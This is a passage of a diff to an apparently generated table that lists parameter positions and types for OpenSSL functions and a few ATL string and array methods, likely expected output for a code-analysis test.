SSL_get0_client_cert_type | 0 | const SSL * | +| (const SSL *,unsigned char **,size_t *) | | SSL_get0_client_cert_type | 1 | unsigned char ** | +| (const SSL *,unsigned char **,size_t *) | | SSL_get0_client_cert_type | 2 | size_t * | +| (const SSL *,unsigned char **,size_t *) | | SSL_get0_server_cert_type | 0 | const SSL * | +| (const SSL *,unsigned char **,size_t *) | | SSL_get0_server_cert_type | 1 | unsigned char ** | +| (const SSL *,unsigned char **,size_t *) | | SSL_get0_server_cert_type | 2 | size_t * | +| (const SSL *,unsigned char *,size_t) | | SSL_get_client_random | 0 | const SSL * | +| (const SSL *,unsigned char *,size_t) | | SSL_get_client_random | 1 | unsigned char * | +| (const SSL *,unsigned char *,size_t) | | SSL_get_client_random | 2 | size_t | +| (const SSL *,unsigned char *,size_t) | | SSL_get_server_random | 0 | const SSL * | +| (const SSL *,unsigned char *,size_t) | | SSL_get_server_random | 1 | unsigned char * | +| (const SSL *,unsigned char *,size_t) | | SSL_get_server_random | 2 | size_t | +| (const SSL_CIPHER *) | | SSL_CIPHER_get_id | 0 | const SSL_CIPHER * | +| (const SSL_CIPHER *) | | SSL_CIPHER_get_name | 0 | const SSL_CIPHER * | +| (const SSL_CIPHER *) | | SSL_CIPHER_get_protocol_id | 0 | const SSL_CIPHER * | +| (const SSL_CIPHER *) | | SSL_CIPHER_standard_name | 0 | const SSL_CIPHER * | +| (const SSL_CIPHER *,char *,int) | | SSL_CIPHER_description | 0 | const SSL_CIPHER * | +| (const SSL_CIPHER *,char *,int) | | SSL_CIPHER_description | 1 | char * | +| (const SSL_CIPHER *,char *,int) | | SSL_CIPHER_description | 2 | int | +| (const SSL_CIPHER *,int *) | | SSL_CIPHER_get_bits | 0 | const SSL_CIPHER * | +| (const SSL_CIPHER *,int *) | | SSL_CIPHER_get_bits | 1 | int * | +| (const SSL_CIPHER *const *,const SSL_CIPHER *const *) | | ssl_cipher_ptr_id_cmp | 0 | const SSL_CIPHER *const * | +| (const SSL_CIPHER *const *,const SSL_CIPHER *const *) | | ssl_cipher_ptr_id_cmp | 1 | const SSL_CIPHER *const * | +| (const SSL_COMP *) | | SSL_COMP_get0_name | 0 | const SSL_COMP * | +| (const SSL_COMP *) | | SSL_COMP_get_id | 0 | const SSL_COMP * | +| (const SSL_CONF_CMD *,size_t,char **,char **) | | conf_ssl_get_cmd | 0 | const SSL_CONF_CMD * | +| (const SSL_CONF_CMD *,size_t,char **,char **) | | conf_ssl_get_cmd | 1 | size_t | +| (const SSL_CONF_CMD *,size_t,char **,char **) | | conf_ssl_get_cmd | 2 | char ** | +| (const SSL_CONF_CMD *,size_t,char **,char **) | | conf_ssl_get_cmd | 3 | char ** | +| (const SSL_CONNECTION *) | | ssl_get_max_send_fragment | 0 | const SSL_CONNECTION * | +| (const SSL_CONNECTION *) | | ssl_get_split_send_fragment | 0 | const SSL_CONNECTION * | +| (const SSL_CONNECTION *) | | tls_get_peer_pkey | 0 | const SSL_CONNECTION * | +| (const SSL_CONNECTION *,OSSL_TIME *) | | dtls1_get_timeout | 0 | const SSL_CONNECTION * | +| (const SSL_CONNECTION *,OSSL_TIME *) | | dtls1_get_timeout | 1 | OSSL_TIME * | +| (const SSL_CONNECTION *,int *,int *,int *) | | ssl_get_min_max_version | 0 | const SSL_CONNECTION * | +| (const SSL_CONNECTION *,int *,int *,int *) | | ssl_get_min_max_version | 1 | int * | +| (const SSL_CONNECTION *,int *,int *,int *) | | ssl_get_min_max_version | 2 | int * | +| (const SSL_CONNECTION *,int *,int *,int *) | | ssl_get_min_max_version | 3 | int * | +| (const SSL_CTX *) | | SSL_CTX_ct_is_enabled | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get0_CA_list | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get0_ctlog_store | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get0_security_ex_data | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_cert_store | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_ciphers | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_client_CA_list | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_keylog_callback | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_max_early_data | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_num_tickets | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_options | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_quiet_shutdown | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_record_padding_callback_arg | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_recv_max_early_data | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_security_callback | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_security_level | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_ssl_method | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_timeout | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_verify_callback | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_verify_depth | 0 | const SSL_CTX * | +| (const SSL_CTX *) | | SSL_CTX_get_verify_mode | 0 | const SSL_CTX * | +| (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 0 | const SSL_CTX * | +| (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | int | +| (const SSL_CTX *,uint64_t *) | | SSL_CTX_get_domain_flags | 0 | const SSL_CTX * | +| (const SSL_CTX *,uint64_t *) | | SSL_CTX_get_domain_flags | 1 | uint64_t * | +| (const SSL_CTX *,unsigned char **,size_t *) | | SSL_CTX_get0_client_cert_type | 0 | const SSL_CTX * | +| (const SSL_CTX *,unsigned char **,size_t *) | | SSL_CTX_get0_client_cert_type | 1 | unsigned char ** | +| (const SSL_CTX *,unsigned char **,size_t *) | | SSL_CTX_get0_client_cert_type | 2 | size_t * | +| (const SSL_CTX *,unsigned char **,size_t *) | | SSL_CTX_get0_server_cert_type | 0 | const SSL_CTX * | +| (const SSL_CTX *,unsigned char **,size_t *) | | SSL_CTX_get0_server_cert_type | 1 | unsigned char ** | +| (const SSL_CTX *,unsigned char **,size_t *) | | SSL_CTX_get0_server_cert_type | 2 | size_t * | +| (const SSL_METHOD *) | | SSL_CTX_new | 0 | const SSL_METHOD * | +| (const SSL_SESSION *) | | SSL_SESSION_dup | 0 | const SSL_SESSION * | +| (const SSL_SESSION *) | | SSL_SESSION_get0_cipher | 0 | const SSL_SESSION * | +| (const SSL_SESSION *) | | SSL_SESSION_get0_hostname | 0 | const SSL_SESSION * | +| (const SSL_SESSION *) | | SSL_SESSION_get_compress_id | 0 | const SSL_SESSION * | +| (const SSL_SESSION *) | | SSL_SESSION_get_max_early_data | 0 | const SSL_SESSION * | +| (const SSL_SESSION *) | | SSL_SESSION_get_max_fragment_length | 0 | const SSL_SESSION * | +| (const SSL_SESSION *) | | SSL_SESSION_get_protocol_version | 0 | const SSL_SESSION * | +| (const SSL_SESSION *) | | SSL_SESSION_get_ticket_lifetime_hint | 0 | const SSL_SESSION * | +| (const SSL_SESSION *) | | SSL_SESSION_get_time | 0 | const SSL_SESSION * | +| (const SSL_SESSION *) | | SSL_SESSION_get_time_ex | 0 | const SSL_SESSION * | +| (const SSL_SESSION *) | | SSL_SESSION_get_timeout | 0 | const SSL_SESSION * | +| (const SSL_SESSION *,OSSL_PARAM[]) | | ssl3_digest_master_key_set_params | 0 | const SSL_SESSION * | +| (const SSL_SESSION *,OSSL_PARAM[]) | | ssl3_digest_master_key_set_params | 1 | OSSL_PARAM[] | +| (const SSL_SESSION *,const unsigned char **,size_t *) | | SSL_SESSION_get0_alpn_selected | 0 | const SSL_SESSION * | +| (const SSL_SESSION *,const unsigned char **,size_t *) | | SSL_SESSION_get0_alpn_selected | 1 | const unsigned char ** | +| (const SSL_SESSION *,const unsigned char **,size_t *) | | SSL_SESSION_get0_alpn_selected | 2 | size_t * | +| (const SSL_SESSION *,const unsigned char **,size_t *) | | SSL_SESSION_get0_ticket | 0 | const SSL_SESSION * | +| (const SSL_SESSION *,const unsigned char **,size_t *) | | SSL_SESSION_get0_ticket | 1 | const unsigned char ** | +| (const SSL_SESSION *,const unsigned char **,size_t *) | | SSL_SESSION_get0_ticket | 2 | size_t * | +| (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 0 | const SSL_SESSION * | +| (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | int | +| (const SSL_SESSION *,int) | | ssl_session_dup | 0 | const SSL_SESSION * | +| (const SSL_SESSION *,int) | | ssl_session_dup | 1 | int | +| (const SSL_SESSION *,unsigned char **) | | i2d_SSL_SESSION | 0 | const SSL_SESSION * | +| (const SSL_SESSION *,unsigned char **) | | i2d_SSL_SESSION | 1 | unsigned char ** | +| (const SSL_SESSION *,unsigned char *,size_t) | | SSL_SESSION_get_master_key | 0 | const SSL_SESSION * | +| (const SSL_SESSION *,unsigned char *,size_t) | | SSL_SESSION_get_master_key | 1 | unsigned char * | +| (const SSL_SESSION *,unsigned char *,size_t) | | SSL_SESSION_get_master_key | 2 | size_t | +| (const SSL_SESSION *,unsigned int *) | | SSL_SESSION_get0_id_context | 0 | const SSL_SESSION * | +| (const SSL_SESSION *,unsigned int *) | | SSL_SESSION_get0_id_context | 1 | unsigned int * | +| (const SSL_SESSION *,unsigned int *) | | SSL_SESSION_get_id | 0 | const SSL_SESSION * | +| (const SSL_SESSION *,unsigned int *) | | SSL_SESSION_get_id | 1 | unsigned int * | +| (const SXNET *,unsigned char **) | | i2d_SXNET | 0 | const SXNET * | +| (const SXNET *,unsigned char **) | | i2d_SXNET | 1 | unsigned char ** | +| (const SXNETID *,unsigned char **) | | i2d_SXNETID | 0 | const SXNETID * | +| (const SXNETID *,unsigned char **) | | i2d_SXNETID | 1 | unsigned char ** | | (const T &,BOOL) | CComSafeArray | Add | 0 | const class:0 & | | (const T &,BOOL) | CComSafeArray | Add | 1 | BOOL | +| (const TS_ACCURACY *) | | TS_ACCURACY_dup | 0 | const TS_ACCURACY * | +| (const TS_ACCURACY *) | | TS_ACCURACY_get_micros | 0 | const TS_ACCURACY * | +| (const TS_ACCURACY *) | | TS_ACCURACY_get_millis | 0 | const TS_ACCURACY * | +| (const TS_ACCURACY *) | | TS_ACCURACY_get_seconds | 0 | const TS_ACCURACY * | +| (const TS_ACCURACY *,unsigned char **) | | i2d_TS_ACCURACY | 0 | const TS_ACCURACY * | +| (const TS_ACCURACY *,unsigned char **) | | i2d_TS_ACCURACY | 1 | unsigned char ** | +| (const TS_MSG_IMPRINT *) | | TS_MSG_IMPRINT_dup | 0 | const TS_MSG_IMPRINT * | +| (const TS_MSG_IMPRINT *,unsigned char **) | | i2d_TS_MSG_IMPRINT | 0 | const TS_MSG_IMPRINT * | +| (const TS_MSG_IMPRINT *,unsigned char **) | | i2d_TS_MSG_IMPRINT | 1 | unsigned char ** | +| (const TS_REQ *) | | TS_REQ_dup | 0 | const TS_REQ * | +| (const TS_REQ *) | | TS_REQ_get_nonce | 0 | const TS_REQ * | +| (const TS_REQ *) | | TS_REQ_get_version | 0 | const TS_REQ * | +| (const TS_REQ *,unsigned char **) | | i2d_TS_REQ | 0 | const TS_REQ * | +| (const TS_REQ *,unsigned char **) | | i2d_TS_REQ | 1 | unsigned char ** | +| (const TS_RESP *) | | TS_RESP_dup | 0 | const TS_RESP * | +| (const TS_RESP *,unsigned char **) | | i2d_TS_RESP | 0 | const TS_RESP * | +| (const TS_RESP *,unsigned char **) | | i2d_TS_RESP | 1 | unsigned char ** | +| (const TS_STATUS_INFO *) | | TS_STATUS_INFO_dup | 0 | const TS_STATUS_INFO * | +| (const TS_STATUS_INFO *) | | TS_STATUS_INFO_get0_failure_info | 0 | const TS_STATUS_INFO * | +| (const TS_STATUS_INFO *) | | TS_STATUS_INFO_get0_status | 0 | const TS_STATUS_INFO * | +| (const TS_STATUS_INFO *) | | TS_STATUS_INFO_get0_text | 0 | const TS_STATUS_INFO * | +| (const TS_STATUS_INFO *,unsigned char **) | | i2d_TS_STATUS_INFO | 0 | const TS_STATUS_INFO * | +| (const TS_STATUS_INFO *,unsigned char **) | | i2d_TS_STATUS_INFO | 1 | unsigned char ** | +| (const TS_TST_INFO *) | | TS_TST_INFO_dup | 0 | const TS_TST_INFO * | +| (const TS_TST_INFO *) | | TS_TST_INFO_get_nonce | 0 | const TS_TST_INFO * | +| (const TS_TST_INFO *) | | TS_TST_INFO_get_serial | 0 | const TS_TST_INFO * | +| (const TS_TST_INFO *) | | TS_TST_INFO_get_time | 0 | const TS_TST_INFO * | +| (const TS_TST_INFO *) | | TS_TST_INFO_get_version | 0 | const TS_TST_INFO * | +| (const TS_TST_INFO *,unsigned char **) | | i2d_TS_TST_INFO | 0 | const TS_TST_INFO * | +| (const TS_TST_INFO *,unsigned char **) | | i2d_TS_TST_INFO | 1 | unsigned char ** | +| (const UI *,int) | | UI_get_ex_data | 0 | const UI * | +| (const UI *,int) | | UI_get_ex_data | 1 | int | +| (const UI_METHOD *) | | UI_method_get_closer | 0 | const UI_METHOD * | +| (const UI_METHOD *) | | UI_method_get_data_destructor | 0 | const UI_METHOD * | +| (const UI_METHOD *) | | UI_method_get_data_duplicator | 0 | const UI_METHOD * | +| (const UI_METHOD *) | | UI_method_get_flusher | 0 | const UI_METHOD * | +| (const UI_METHOD *) | | UI_method_get_opener | 0 | const UI_METHOD * | +| (const UI_METHOD *) | | UI_method_get_prompt_constructor | 0 | const UI_METHOD * | +| (const UI_METHOD *) | | UI_method_get_reader | 0 | const UI_METHOD * | +| (const UI_METHOD *) | | UI_method_get_writer | 0 | const UI_METHOD * | +| (const UI_METHOD *) | | UI_new_method | 0 | const UI_METHOD * | +| (const UI_METHOD *,int) | | UI_method_get_ex_data | 0 | const UI_METHOD * | +| (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | int | +| (const USERNOTICE *,unsigned char **) | | i2d_USERNOTICE | 0 | const USERNOTICE * | +| (const USERNOTICE *,unsigned char **) | | i2d_USERNOTICE | 1 | unsigned char ** | | (const VARIANT &) | | operator+= | 0 | const VARIANT & | | (const VARIANT &) | CStringT | CStringT | 0 | const VARIANT & | | (const VARIANT &) | CStringT | operator= | 0 | const VARIANT & | | (const VARIANT &,IAtlStringMgr *) | CStringT | CStringT | 0 | const VARIANT & | | (const VARIANT &,IAtlStringMgr *) | CStringT | CStringT | 1 | IAtlStringMgr * | +| (const VECTOR *,uint32_t,uint8_t *,size_t) | | ossl_ml_dsa_w1_encode | 0 | const VECTOR * | +| (const VECTOR *,uint32_t,uint8_t *,size_t) | | ossl_ml_dsa_w1_encode | 1 | uint32_t | +| (const VECTOR *,uint32_t,uint8_t *,size_t) | | ossl_ml_dsa_w1_encode | 2 | uint8_t * | +| (const VECTOR *,uint32_t,uint8_t *,size_t) | | ossl_ml_dsa_w1_encode | 3 | size_t | +| (const X509 *) | | OSSL_CMP_ITAV_new_rootCaCert | 0 | const X509 * | +| (const X509 *) | | X509_dup | 0 | const X509 * | +| (const X509 *) | | X509_get0_extensions | 0 | const X509 * | +| (const X509 *) | | X509_get0_serialNumber | 0 | const X509 * | +| (const X509 *) | | X509_get0_tbs_sigalg | 0 | const X509 * | +| (const X509 *) | | X509_get_X509_PUBKEY | 0 | const X509 * | +| (const X509 *) | | X509_get_issuer_name | 0 | const X509 * | +| (const X509 *) | | X509_get_subject_name | 0 | const X509 * | +| (const X509 *,EVP_MD **,int *) | | X509_digest_sig | 0 | const X509 * | +| (const X509 *,EVP_MD **,int *) | | X509_digest_sig | 1 | EVP_MD ** | +| (const X509 *,EVP_MD **,int *) | | X509_digest_sig | 2 | int * | +| (const X509 *,const ASN1_BIT_STRING **,const ASN1_BIT_STRING **) | | X509_get0_uids | 0 | const X509 * | +| (const X509 *,const ASN1_BIT_STRING **,const ASN1_BIT_STRING **) | | X509_get0_uids | 1 | const ASN1_BIT_STRING ** | +| (const X509 *,const ASN1_BIT_STRING **,const ASN1_BIT_STRING **) | | X509_get0_uids | 2 | const ASN1_BIT_STRING ** | +| (const X509 *,const ASN1_OBJECT *,int) | | X509_get_ext_by_OBJ | 0 | const X509 * | +| (const X509 *,const ASN1_OBJECT *,int) | | X509_get_ext_by_OBJ | 1 | const ASN1_OBJECT * | +| (const X509 *,const ASN1_OBJECT *,int) | | X509_get_ext_by_OBJ | 2 | int | +| (const X509 *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_digest | 0 | const X509 * | +| (const X509 *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_digest | 1 | const EVP_MD * | +| (const X509 *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_digest | 2 | unsigned char * | +| (const X509 *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_digest | 3 | unsigned int * | +| (const X509 *,const X509 *) | | X509_cmp | 0 | const X509 * | +| (const X509 *,const X509 *) | | X509_cmp | 1 | const X509 * | +| (const X509 *,const X509 *) | | X509_issuer_and_serial_cmp | 0 | const X509 * | +| (const X509 *,const X509 *) | | X509_issuer_and_serial_cmp | 1 | const X509 * | +| (const X509 *,const X509 *) | | X509_issuer_name_cmp | 0 | const X509 * | +| (const X509 *,const X509 *) | | X509_issuer_name_cmp | 1 | const X509 * | +| (const X509 *,const X509 *) | | X509_subject_name_cmp | 0 | const X509 * | +| (const X509 *,const X509 *) | | X509_subject_name_cmp | 1 | const X509 * | +| (const X509 *,const X509 *,const X509 *) | | OSSL_CMP_ITAV_new_rootCaKeyUpdate | 0 | const X509 * | +| (const X509 *,const X509 *,const X509 *) | | OSSL_CMP_ITAV_new_rootCaKeyUpdate | 1 | const X509 * | +| (const X509 *,const X509 *,const X509 *) | | OSSL_CMP_ITAV_new_rootCaKeyUpdate | 2 | const X509 * | +| (const X509 *,const stack_st_X509 *,int) | | OSSL_ESS_signing_cert_new_init | 0 | const X509 * | +| (const X509 *,const stack_st_X509 *,int) | | OSSL_ESS_signing_cert_new_init | 1 | const stack_st_X509 * | +| (const X509 *,const stack_st_X509 *,int) | | OSSL_ESS_signing_cert_new_init | 2 | int | +| (const X509 *,int) | | X509_get_ex_data | 0 | const X509 * | +| (const X509 *,int) | | X509_get_ex_data | 1 | int | +| (const X509 *,int) | | X509_get_ext | 0 | const X509 * | +| (const X509 *,int) | | X509_get_ext | 1 | int | +| (const X509 *,int,int *,int *) | | X509_get_ext_d2i | 0 | const X509 * | +| (const X509 *,int,int *,int *) | | X509_get_ext_d2i | 1 | int | +| (const X509 *,int,int *,int *) | | X509_get_ext_d2i | 2 | int * | +| (const X509 *,int,int *,int *) | | X509_get_ext_d2i | 3 | int * | +| (const X509 *,int,int) | | X509_get_ext_by_NID | 0 | const X509 * | +| (const X509 *,int,int) | | X509_get_ext_by_NID | 1 | int | +| (const X509 *,int,int) | | X509_get_ext_by_NID | 2 | int | +| (const X509 *,int,int) | | X509_get_ext_by_critical | 0 | const X509 * | +| (const X509 *,int,int) | | X509_get_ext_by_critical | 1 | int | +| (const X509 *,int,int) | | X509_get_ext_by_critical | 2 | int | +| (const X509 *,unsigned char **) | | i2d_X509 | 0 | const X509 * | +| (const X509 *,unsigned char **) | | i2d_X509 | 1 | unsigned char ** | +| (const X509 *,unsigned char **) | | i2d_X509_AUX | 0 | const X509 * | +| (const X509 *,unsigned char **) | | i2d_X509_AUX | 1 | unsigned char ** | +| (const X509V3_EXT_METHOD *,X509V3_CTX *,stack_st_CONF_VALUE *) | | v2i_GENERAL_NAMES | 0 | const X509V3_EXT_METHOD * | +| (const X509V3_EXT_METHOD *,X509V3_CTX *,stack_st_CONF_VALUE *) | | v2i_GENERAL_NAMES | 1 | X509V3_CTX * | +| (const X509V3_EXT_METHOD *,X509V3_CTX *,stack_st_CONF_VALUE *) | | v2i_GENERAL_NAMES | 2 | stack_st_CONF_VALUE * | +| (const X509_ACERT *) | | X509_ACERT_dup | 0 | const X509_ACERT * | +| (const X509_ACERT *) | | X509_ACERT_get0_extensions | 0 | const X509_ACERT * | +| (const X509_ACERT *) | | X509_ACERT_get0_info_sigalg | 0 | const X509_ACERT * | +| (const X509_ACERT *) | | X509_ACERT_get0_issuerUID | 0 | const X509_ACERT * | +| (const X509_ACERT *) | | X509_ACERT_get0_serialNumber | 0 | const X509_ACERT * | +| (const X509_ACERT *,const ASN1_BIT_STRING **,const X509_ALGOR **) | | X509_ACERT_get0_signature | 0 | const X509_ACERT * | +| (const X509_ACERT *,const ASN1_BIT_STRING **,const X509_ALGOR **) | | X509_ACERT_get0_signature | 1 | const ASN1_BIT_STRING ** | +| (const X509_ACERT *,const ASN1_BIT_STRING **,const X509_ALGOR **) | | X509_ACERT_get0_signature | 2 | const X509_ALGOR ** | +| (const X509_ACERT *,const ASN1_OBJECT *,int) | | X509_ACERT_get_attr_by_OBJ | 0 | const X509_ACERT * | +| (const X509_ACERT *,const ASN1_OBJECT *,int) | | X509_ACERT_get_attr_by_OBJ | 1 | const ASN1_OBJECT * | +| (const X509_ACERT *,const ASN1_OBJECT *,int) | | X509_ACERT_get_attr_by_OBJ | 2 | int | +| (const X509_ACERT *,int) | | X509_ACERT_get_attr | 0 | const X509_ACERT * | +| (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | int | +| (const X509_ACERT *,int,int *,int *) | | X509_ACERT_get_ext_d2i | 0 | const X509_ACERT * | +| (const X509_ACERT *,int,int *,int *) | | X509_ACERT_get_ext_d2i | 1 | int | +| (const X509_ACERT *,int,int *,int *) | | X509_ACERT_get_ext_d2i | 2 | int * | +| (const X509_ACERT *,int,int *,int *) | | X509_ACERT_get_ext_d2i | 3 | int * | +| (const X509_ACERT *,int,int) | | X509_ACERT_get_attr_by_NID | 0 | const X509_ACERT * | +| (const X509_ACERT *,int,int) | | X509_ACERT_get_attr_by_NID | 1 | int | +| (const X509_ACERT *,int,int) | | X509_ACERT_get_attr_by_NID | 2 | int | +| (const X509_ACERT *,unsigned char **) | | i2d_X509_ACERT | 0 | const X509_ACERT * | +| (const X509_ACERT *,unsigned char **) | | i2d_X509_ACERT | 1 | unsigned char ** | +| (const X509_ALGOR *) | | OSSL_CMP_ATAV_new_algId | 0 | const X509_ALGOR * | +| (const X509_ALGOR *) | | X509_ALGOR_dup | 0 | const X509_ALGOR * | +| (const X509_ALGOR *,OSSL_LIB_CTX *,const char *) | | ossl_ec_key_param_from_x509_algor | 0 | const X509_ALGOR * | +| (const X509_ALGOR *,OSSL_LIB_CTX *,const char *) | | ossl_ec_key_param_from_x509_algor | 1 | OSSL_LIB_CTX * | +| (const X509_ALGOR *,OSSL_LIB_CTX *,const char *) | | ossl_ec_key_param_from_x509_algor | 2 | const char * | +| (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int) | | PKCS12_item_decrypt_d2i | 0 | const X509_ALGOR * | +| (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int) | | PKCS12_item_decrypt_d2i | 1 | const ASN1_ITEM * | +| (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int) | | PKCS12_item_decrypt_d2i | 2 | const char * | +| (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int) | | PKCS12_item_decrypt_d2i | 3 | int | +| (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int) | | PKCS12_item_decrypt_d2i | 4 | const ASN1_OCTET_STRING * | +| (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int) | | PKCS12_item_decrypt_d2i | 5 | int | +| (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_decrypt_d2i_ex | 0 | const X509_ALGOR * | +| (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_decrypt_d2i_ex | 1 | const ASN1_ITEM * | +| (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_decrypt_d2i_ex | 2 | const char * | +| (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_decrypt_d2i_ex | 3 | int | +| (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_decrypt_d2i_ex | 4 | const ASN1_OCTET_STRING * | +| (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_decrypt_d2i_ex | 5 | int | +| (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_decrypt_d2i_ex | 6 | OSSL_LIB_CTX * | +| (const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_item_decrypt_d2i_ex | 7 | const char * | +| (const X509_ALGOR *,const X509_ALGOR *) | | X509_ALGOR_cmp | 0 | const X509_ALGOR * | +| (const X509_ALGOR *,const X509_ALGOR *) | | X509_ALGOR_cmp | 1 | const X509_ALGOR * | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int) | | PKCS12_pbe_crypt | 0 | const X509_ALGOR * | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int) | | PKCS12_pbe_crypt | 1 | const char * | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int) | | PKCS12_pbe_crypt | 2 | int | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int) | | PKCS12_pbe_crypt | 3 | const unsigned char * | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int) | | PKCS12_pbe_crypt | 4 | int | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int) | | PKCS12_pbe_crypt | 5 | unsigned char ** | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int) | | PKCS12_pbe_crypt | 6 | int * | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int) | | PKCS12_pbe_crypt | 7 | int | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_pbe_crypt_ex | 0 | const X509_ALGOR * | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_pbe_crypt_ex | 1 | const char * | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_pbe_crypt_ex | 2 | int | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_pbe_crypt_ex | 3 | const unsigned char * | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_pbe_crypt_ex | 4 | int | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_pbe_crypt_ex | 5 | unsigned char ** | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_pbe_crypt_ex | 6 | int * | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_pbe_crypt_ex | 7 | int | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_pbe_crypt_ex | 8 | OSSL_LIB_CTX * | +| (const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int,OSSL_LIB_CTX *,const char *) | | PKCS12_pbe_crypt_ex | 9 | const char * | +| (const X509_ALGOR *,const unsigned char *,int,int,ecx_key_op_t,OSSL_LIB_CTX *,const char *) | | ossl_ecx_key_op | 0 | const X509_ALGOR * | +| (const X509_ALGOR *,const unsigned char *,int,int,ecx_key_op_t,OSSL_LIB_CTX *,const char *) | | ossl_ecx_key_op | 1 | const unsigned char * | +| (const X509_ALGOR *,const unsigned char *,int,int,ecx_key_op_t,OSSL_LIB_CTX *,const char *) | | ossl_ecx_key_op | 2 | int | +| (const X509_ALGOR *,const unsigned char *,int,int,ecx_key_op_t,OSSL_LIB_CTX *,const char *) | | ossl_ecx_key_op | 3 | int | +| (const X509_ALGOR *,const unsigned char *,int,int,ecx_key_op_t,OSSL_LIB_CTX *,const char *) | | ossl_ecx_key_op | 4 | ecx_key_op_t | +| (const X509_ALGOR *,const unsigned char *,int,int,ecx_key_op_t,OSSL_LIB_CTX *,const char *) | | ossl_ecx_key_op | 5 | OSSL_LIB_CTX * | +| (const X509_ALGOR *,const unsigned char *,int,int,ecx_key_op_t,OSSL_LIB_CTX *,const char *) | | ossl_ecx_key_op | 6 | const char * | +| (const X509_ALGOR *,unsigned char **) | | i2d_X509_ALGOR | 0 | const 